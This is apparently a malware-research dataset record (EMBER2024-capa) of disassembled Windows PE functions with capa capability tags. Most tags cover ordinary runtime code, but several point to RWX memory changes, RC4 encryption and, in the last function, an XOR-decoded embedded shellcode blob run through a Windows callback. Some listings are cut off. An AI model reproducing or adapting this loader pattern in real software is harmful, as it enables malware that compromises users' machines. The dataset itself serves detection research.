joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400239b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x70
lea rbp, [rsp + 0x70]
test rcx, rcx
jne 0x140023ad4
mov ecx, dword [0x140061150]
test ecx, ecx
je 0x140023a95
dec ecx
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
mov ecx, dword [0x140061130]
test ecx, ecx
je 0x140023aa8
dec ecx
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
test rax, rax
je 0x140023ac7
movzx eax, byte [0x140061030]
mov ecx, 0x30
call fcn.1400474f0
test rax, rax
je 0x140023b0c
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x18], 0
mov qword [rax + 0x10], rdi
mov byte [rax + 0x28], 0
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x38], rax
mov rax, qword [0x140064038]
lock inc qword [rsi]
jle 0x140023b69
mov ecx, dword [0x140061150]
test ecx, ecx
je 0x140023a67
dec ecx
jmp 0x140023a79
lea rdi, [rbp - 0x38]
lea rcx, [0x140061138]
call fcn.140020a10
mov ecx, eax
add rsi, 0x10
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x140061138]
call fcn.140020a10
mov ecx, eax
jmp 0x1400239d5
lea rcx, [0x140061118]
call fcn.140020a10
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
test rax, rax
jne 0x140023a00
call fcn.140022e10
mov rdi, rax
jmp 0x140023a00
cmp rcx, 1
je 0x140023b1b
lea rax, str.use_of_std::thread::current___is_not_possible_after_the_threads_n_________local_data_has_been_destroyed
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.std_src_threadcurrent.rs
lea rcx, [rbp - 0x40]
call fcn.140006190
mov ecx, 8
mov edx, 0x30
call fcn.140005059
mov dword [rbp - 0x10], 0
mov byte [rbp - 0xc], 0
lea rax, str.fatal_runtime_error:__n_n____________Attempted_to_access_thread_local_data_while_allocating_said_data._n_n____________Do_not_access_functions_that_allocate_in_the_global_allocator__n_n____________This_is_a_bug_in_the_global_allocator._n_n_________n
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rax, [rbp - 8]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x40]
call fcn.140020bf0
mov qword [rbp - 0x48], rax
lea rcx, [rbp - 0x48]
call fcn.140020d30
mov ecx, 7
int 0x29
ud2

Function at 0x140024d20
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov ecx, dword [0x140061150]
test ecx, ecx
je 0x140024d65
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jbe 0x140024d7e
lea rdx, [0x140061040]
lea rcx, [rax - 0x10]
cmp rax, rdx
cmovne rdx, rcx
je 0x140024d88
lock inc qword [rcx]
mov eax, 1
jg 0x140024d8a
lea rcx, [0x140061138]
call fcn.140020a10
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
ja 0x140024d44
mov rcx, rax
call fcn.1400239b0
jmp 0x140024d8a
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
and eax, 1
shl eax, 5
lock dec byte [rdx + rax + 8]
jne 0x140024dc3
lea rsi, [rdx + rax]
add rsi, 8
lea rdi, [rbp + 7]
xor ebx, ebx
jmp 0x140024de8
Function at 0x140024e80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov esi, edx
mov rdi, rcx
mov ecx, dword [0x140061150]
or eax, 0x3c2b8

Function at 0x140026e00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
cmp r9b, 1
jbe 0x140026e1f
xor r8d, r8d
xor eax, eax
jmp case.0x140026fef.6
movzx r8d, byte [rdx + 0x3a]
test r8b, 1
jne 0x140026e6e
movzx eax, byte [rdx + 0x10]
lea r10d, [rax - 5]
Function at 0x140046330
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov esi, dword [0x14004d0b8]
test esi, esi
je 0x1400463d6
dec esi
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
ja 0x1400463cd
je 0x1400463cb
movzx eax, byte [0x140061030]
mov ecx, 0x10
call fcn.1400474f0
test rax, rax
je 0x1400463f7
mov qword [rax], 0
mov dword [rax + 8], esi
mov ecx, esi
mov rbx, rax
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rsi, rbx
mov rdx, rbx
call sub.KERNEL32.dll_TlsSetValue
test rdi, rdi
je 0x1400463c6
mov rax, qword [rdi]
test rax, rax
je 0x1400463b5
lock dec qword [rax]
jne 0x1400463b5
mov rcx, qword [rdi]
call fcn.140046410
mov rcx, qword [0x140061108]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rax, rsi
jmp 0x1400463cd
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x14004d0a0]
call fcn.140020a10
mov esi, eax
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jbe 0x14004635a
jmp 0x1400463cd
mov ecx, 8
mov edx, 0x10
call fcn.140005059
int3
Function at 0x140046d30
Capabilities:
Resolve dns

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
cmp r8, 0xffffffffffffffff
je 0x140046f11
mov r15, r8
mov rbx, r8
inc rbx
js 0x140046f1d
mov r14, r9
mov r12, rdx
mov rsi, rcx
movzx eax, byte [0x140061030]
mov rcx, rbx
call fcn.1400474f0
test rax, rax
je 0x140046f29
mov rdi, rax
mov rcx, rax
mov rdx, r12
mov r8, r15
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp r15, 0x10
jae 0x140046db8
test r15, r15
je 0x140046e4f
xor eax, eax
nop
cmp byte [r12 + rax], 0
je 0x140046e9c
inc rax
cmp r15, rax
jne 0x140046da0
jmp 0x140046e4f
lea rax, [r12 + 7]
and rax, 0xfffffffffffffff8
sub rax, r12
jne 0x140046e11
lea rcx, [r15 - 0x10]
xor eax, eax
movabs rdx, 0x8080808080808080
movabs r8, 0x101010101010100
mov r9, qword [r12 + rax]
mov r10, qword [r12 + rax + 8]
mov r11, r8
sub r11, r10
or r11, r10
mov r10, r8
sub r10, r9
or r10, r9
and r10, rdx
and r10, r11
cmp r10, rdx
jne 0x140046e38
add rax, 0x10
cmp rax, rcx
jbe 0x140046de0
jmp 0x140046e38
xor ecx, ecx
nop word cs:[rax + rax]
cmp byte [r12 + rcx], 0
je 0x140046e9c
inc rcx
cmp rax, rcx
jne 0x140046e20
lea rcx, [r15 - 0x10]
cmp rax, rcx
jbe 0x140046dcc
cmp rax, r15
je 0x140046e4f
nop dword [rax]
cmp byte [r12 + rax], 0
je 0x140046e9c
inc rax
cmp r15, rax
jne 0x140046e40
mov byte [rdi + r15], 0
xorps xmm0, xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x38], 1
mov qword [rbp - 8], 0
lea r8, [rbp - 0x40]
lea r9, [rbp - 8]
mov rcx, rdi
xor edx, edx
call sub.WS2_32.dll_getaddrinfo
test eax, eax
je 0x140046ecd
call sub.WS2_32.dll_WSAGetLastError
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x140046ee1
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, qword [0x140061108]
xor edx, edx
mov r8, rdi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp sub.KERNEL32.dll_HeapFree
mov rcx, qword [r14]
mov rax, qword [rbp - 8]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rdi], 0
test rbx, rbx
je 0x140046f01
mov rcx, qword [0x140061108]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
nop
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rcx, str.alloc_src_ffic_str.rs
call fcn.140008960
lea rcx, str.alloc_src_ffic_str.rs
call fcn.140005020
mov ecx, 1
mov rdx, rbx
call fcn.140005059
int3
Function at 0x140047080
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
test cl, 1
mov eax, 0x17
mov ebx, 2
cmovne ebx, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
xor edi, edi
mov ecx, ebx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.WS2_32.dll_WSASocketW
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140047159
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2739
je 0x1400470e3
mov esi, eax
cmp eax, 0x2726
jne 0x14004714c
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.WS2_32.dll_WSASocketW
cmp rax, 0xffffffffffffffff
je 0x140047145
mov rsi, rax
xor edi, edi
mov rcx, rax
mov edx, 1
xor r8d, r8d
call sub.KERNEL32.dll_SetHandleInformation
test eax, eax
jne 0x140047159
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov edi, 1
mov rsi, rbx
jmp 0x140047159
call sub.WS2_32.dll_WSAGetLastError
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov edi, 1
mov rax, rdi
mov rdx, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400472c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov ecx, dword [0x140061150]
test ecx, ecx
je 0x140047392
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jbe 0x1400473af
lea rsi, [0x140061040]
lea rcx, [rax - 0x10]
cmp rax, rsi
cmovne rsi, rcx
je 0x14004730f
lock inc qword [rcx]
mov edi, 1
jg 0x140047311
ud2
xor edi, edi
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x38]
mov qword [rbp - 0x38], rsi
call fcn.140047430
test rax, rax
je 0x1400473c2
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
movzx eax, byte [0x140061030]
mov ecx, 0x38
call fcn.1400474f0
test rax, rax
je 0x1400473ef
mov rcx, qword [rbp - 0x10]
mov qword [rax + 0x30], rcx
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmm2, xmmword [rbp - 0x20]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, [0x140061138]
call fcn.140020a10
mov ecx, eax
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
ja 0x1400472ee
mov rcx, rax
call fcn.1400239b0
mov rdi, rax
mov rsi, rdx
jmp 0x140047311
lea rax, str.std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction
lea r9, [0x140057320]
lea r8, [rbp - 1]
mov edx, 0x46
call fcn.140007fc0
jmp 0x14004730d
lea rbx, [rbp - 0x28]
mov ecx, 8
mov edx, 0x38
call fcn.140005059
jmp 0x14004730d
Function at 0x140047430
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov esi, dword [0x14004d078]
test esi, esi
je 0x14004745e
dec esi
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
jbe 0x140047479
add rax, 4
jmp 0x1400474d2
lea rcx, [0x14004d060]
call fcn.140020a10
mov esi, eax
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
ja 0x140047458
je 0x1400474d0
movzx eax, byte [0x140061030]
mov ecx, 8
call fcn.1400474f0
test rax, rax
je 0x1400474dd
mov rbx, rax
mov dword [rax], esi
add rax, 4
mov r14, rax
mov byte [rbx + 4], 0
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rdx, rbx
call sub.KERNEL32.dll_TlsSetValue
test rdi, rdi
je 0x1400474cb
mov rcx, qword [0x140061108]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rax, r14
jmp 0x1400474d2
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov ecx, 4
mov edx, 8
call fcn.140005059
int3
Function at 0x14004a110
Capabilities:
Connect socket

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov esi, 1
test cl, 1
jne 0x14004a1d4
mov eax, dword [0x1400610f8]
cmp eax, 3
jne 0x14004a1e0
mov rdi, rdx
movzx ecx, word [rdx]
call fcn.140047080
test rax, rax
jne 0x14004a1d4
test byte [rdi], 1
je 0x14004a16f
movups xmm0, xmmword [rdi + 4]
mov eax, dword [rdi + 0x14]
mov r9d, dword [rdi + 0x18]
movzx ecx, word [rdi + 0x1c]
mov r8d, 0x1c
mov r10w, 0x17
jmp 0x14004a184
mov eax, dword [rdi + 2]
movzx ecx, word [rdi + 6]
xorps xmm0, xmm0
mov r8d, 0x10
mov r10w, 2
rol cx, 8
mov word [rbp - 0x14], r10w
mov word [rbp - 0x12], cx
mov dword [rbp - 0x10], eax
movups xmmword [rbp - 0xc], xmm0
mov dword [rbp + 4], r9d
lea rax, [rbp - 0x14]
mov rdi, rdx
mov rcx, rdx
mov rdx, rax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x14004a1ba
xor esi, esi
mov rdx, rdi
jmp 0x14004a1d4
call sub.WS2_32.dll_WSAGetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov rcx, rdi
call sub.WS2_32.dll_closesocket
mov rdx, rbx
mov rax, rsi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rdi, rdx
call fcn.140046cd4
mov rdx, rdi
jmp 0x14004a13a

Function at 0x14004b1c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.14004bfc0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x14004b230
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400611e4]
mov rbx, rcx
test esi, esi
jle 0x14004b360
mov rax, qword [0x1400611e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14004b27b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14004b305
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14004b260
mov rcx, rbx
call fcn.14004bce0
mov rdi, rax
test rax, rax
je 0x14004b382
mov rax, qword [0x1400611e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14004be20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400611e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14004b367
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14004b2fe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14004b310
add dword [0x1400611e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400611e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14004b2fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14004b1c0
nop dword [rax]
xor esi, esi
jmp 0x14004b288
mov rax, qword [0x1400611e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14004b1c0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14004b1c0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14004b920
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140061240]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140061220]
test rbx, rbx
je 0x14004b984
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14004b97b
test eax, eax
jne 0x14004b97b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14004b960
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14004bce0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14005a6c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14004bd00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14004bd08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14004bd00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14004bd5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14004bd54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14004bd00
add rax, 0x28
cmp rax, r9
jne 0x14004bd40
xor eax, eax
ret

Function at 0x14004bd60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14005a6c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14004bd7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14004bd88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14004bd7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14004be20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14005a6c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14004be3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14004be48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002a70
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140002a92
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140002b0c
mov rdi, r14
mov rcx, rbx
call fcn.140003b20
test rax, rax
jle 0x140002ae4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140007850
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140002afc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140002b04
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140002aa6
sub r14, rdi
jmp 0x140002bf9
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140002b23
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002b25
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002b5a
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140007850
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140002bf6
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x140002b95
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140002bd1
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14000e83c
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x140002c0f
cmp rbp, rax
ja 0x140002ba1
mov r8, rdi
test rdi, rdi
je 0x140002bf6
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14000e83c
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140002bf9
Function at 0x140003010
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14003c060]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000303d
xor eax, eax
jmp 0x140003183
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003077
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003077
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003183
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003176
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400030ba
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400030c9
movsx ecx, dil
jmp 0x14000311d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x140003137
sub eax, 1
je 0x140003137
cmp eax, 2
jne 0x140003176
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14000be98
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000317b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003164
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.14000e064
cmp rsi, rax
jne 0x140003176
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000317b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140005a00
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14000be74
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000bd07
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bd07
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bd07
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bd07
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bd07
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bd07
cmp dword [rcx + 0xf8], 0
je 0x14000bd07
mov ecx, ebx
call fcn.14000bda8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000bb98
cmp dword [rbp + 0x20], 0
je 0x14000bd54
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000bd5c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000bca0
Function at 0x14000104c
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rsi
push rdi
sub rsp, 0x768
lea rax, [rsp + 0x3e0]
lea rcx, [0x140048330]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37f
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x40]
lea rcx, str.vhfn28sj1ns84jwtest
mov rdi, rax
mov rsi, rcx
mov ecx, 0x14
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.140007ff0
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0
jmp 0x1400010ad
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x37f
jae 0x140001108
movsxd rax, dword [rsp + 0x20]
movsx eax, byte [rsp + rax + 0x3e0]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cdq
idiv dword [rsp + 0x24]
mov eax, edx
cdqe
movsx eax, byte [rsp + rax + 0x40]
mov ecx, dword [rsp + 0x28]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
